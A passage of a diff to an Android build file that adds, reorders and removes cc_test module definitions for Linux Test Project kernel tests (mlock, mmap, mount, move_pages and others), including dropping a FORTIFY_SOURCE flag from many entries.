+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknodat02",
+    stem: "mknodat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknodat/mknodat02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock01",
+    stem: "mlock01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock/mlock01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock02",
+    stem: "mlock02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock/mlock02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock03",
+    stem: "mlock03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock/mlock03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock04",
+    stem: "mlock04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock/mlock04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock201",
+    stem: "mlock201",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock2/mlock201.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock202",
+    stem: "mlock202",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock2/mlock202.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlock203",
+    stem: "mlock203",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlock2/mlock203.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlockall01",
+    stem: "mlockall01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlockall/mlockall01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlockall02",
+    stem: "mlockall02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlockall/mlockall02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mlockall03",
+    stem: "mlockall03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mlockall/mlockall03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap-corruption01",
+    stem: "mmap-corruption01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmap-corruption01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap001",
+    stem: "mmap001",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap001.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap01",
+    stem: "mmap01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap02",
+    stem: "mmap02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap03",
+    stem: "mmap03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap04",
+    stem: "mmap04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap05",
+    stem: "mmap05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap06",
+    stem: "mmap06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap07",
+    stem: "mmap07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap08",
+    stem: "mmap08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap09",
+    stem: "mmap09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap1",
+    stem: "mmap1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest06/mmap1.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap10",
+    stem: "mmap10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap11",
+    stem: "mmap11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap12",
+    stem: "mmap12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap13",
+    stem: "mmap13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap14",
+    stem: "mmap14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap14.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap15",
+    stem: "mmap15",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap15.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap16",
+    stem: "mmap16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mmap/mmap16.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap2",
+    stem: "mmap2",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest06/mmap2.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmap3",
+    stem: "mmap3",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest06/mmap3.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress01",
+    stem: "mmapstress01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress02",
+    stem: "mmapstress02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress03",
+    stem: "mmapstress03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress04",
+    stem: "mmapstress04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress05",
+    stem: "mmapstress05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress06",
+    stem: "mmapstress06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress07",
+    stem: "mmapstress07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress08",
+    stem: "mmapstress08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress09",
+    stem: "mmapstress09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmapstress10",
+    stem: "mmapstress10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmstress",
+    stem: "mmstress",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest05/mmstress.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mmstress_dummy",
+    stem: "mmstress_dummy",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest05/mmstress_dummy.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_modify_ldt01",
+    stem: "modify_ldt01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_modify_ldt02",
+    stem: "modify_ldt02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_modify_ldt03",
+    stem: "modify_ldt03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount01",
+    stem: "mount01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount02",
+    stem: "mount02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount03",
+    stem: "mount03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount03_setuid_test",
+    stem: "mount03_setuid_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount03_setuid_test.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount04",
+    stem: "mount04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount04.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount05",
+    stem: "mount05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount05.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mount06",
+    stem: "mount06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount06.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_move_pages01",
     stem: "move_pages01",
     defaults: ["ltp_test_defaults"],
@@ -14363,27 +8634,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages01.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_move_pages03",
-    stem: "move_pages03",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages03.c",
-        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14403,7 +8653,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages02.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14416,48 +8665,89 @@
 }
 
 cc_test {
-    name: "ltp_sched_tc6",
-    stem: "sched_tc6",
+    name: "ltp_move_pages03",
+    stem: "move_pages03",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/sched/sched_stress/sched_tc6.c",
-        "testcases/kernel/sched/sched_stress/sched.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nftw6401",
-    stem: "nftw6401",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/nftw/tools64.c",
-        "testcases/kernel/syscalls/nftw/nftw64.c",
-        "testcases/kernel/syscalls/nftw/lib64.c",
-        "testcases/kernel/syscalls/nftw/test64.c",
-        "testcases/kernel/syscalls/nftw/test_func64.c",
-    ],
-    cflags: [
-        "-D_LARGEFILE64_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-        "-D_XOPEN_SOURCE_EXTENDED",
-        "-D_XOPEN_SOURCE=500",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_move_pages09",
-    stem: "move_pages09",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages09.c",
+        "testcases/kernel/syscalls/move_pages/move_pages03.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_move_pages04",
+    stem: "move_pages04",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/move_pages/move_pages04.c",
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_move_pages05",
+    stem: "move_pages05",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+        "testcases/kernel/syscalls/move_pages/move_pages05.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_move_pages06",
+    stem: "move_pages06",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/move_pages/move_pages06.c",
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_move_pages07",
+    stem: "move_pages07",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+        "testcases/kernel/syscalls/move_pages/move_pages07.c",
+    ],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14477,7 +8767,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages08.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14490,518 +8779,13 @@
 }
 
 cc_test {
-    name: "ltp_nfs_flock",
-    stem: "nfs_flock",
+    name: "ltp_move_pages09",
+    stem: "move_pages09",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/network/nfs/nfslock01/nfs_flock_func.c",
-        "testcases/network/nfs/nfslock01/nfs_flock.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_sendfile07_64",
-    stem: "sendfile07_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile07.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-tcpserver",
-    stem: "ns-tcpserver",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-tcpserver.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_tst_fs_has_free",
-    stem: "tst_fs_has_free",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_brk",
-    stem: "tst_brk",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_input05",
-    stem: "input05",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/input/input_helper.c",
-        "testcases/kernel/input/input05.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_input04",
-    stem: "input04",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/input/input04.c",
-        "testcases/kernel/input/input_helper.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl31_64",
-    stem: "fcntl31_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl31.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_input01",
-    stem: "input01",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/input/input_helper.c",
-        "testcases/kernel/input/input01.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile04_64",
-    stem: "sendfile04_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_tc5",
-    stem: "sched_tc5",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc5.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_geteuid01",
-    stem: "geteuid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/geteuid/geteuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/geteuid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest06",
-    stem: "ftest06",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest06.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memfd_create01",
-    stem: "memfd_create01",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
-        "testcases/kernel/syscalls/memfd_create/memfd_create01.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_tc0",
-    stem: "sched_tc0",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc0.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_tc3",
-    stem: "sched_tc3",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched_tc3.c",
-        "testcases/kernel/sched/sched_stress/sched.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl15_64",
-    stem: "fcntl15_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl15.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ht_affinity",
-    stem: "ht_affinity",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c",
-        "testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_random-access-del-create",
-    stem: "random-access-del-create",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/fs-bench/boxmuler.c",
-        "testcases/kernel/fs/fs-bench/random-access-del-create.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_setgroups03",
-    stem: "setgroups03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgroups/setgroups03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setgroups",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstatfs01_64",
-    stem: "fstatfs01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fstatfs",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest04",
-    stem: "ftest04",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest04.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest05",
-    stem: "ftest05",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest05.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_testsf_s6",
-    stem: "testsf_s6",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DINET6",
-    ],
-    local_include_dirs: [
-        "include/old",
-        "testcases/network/tcp_cmds/include",
-    ],
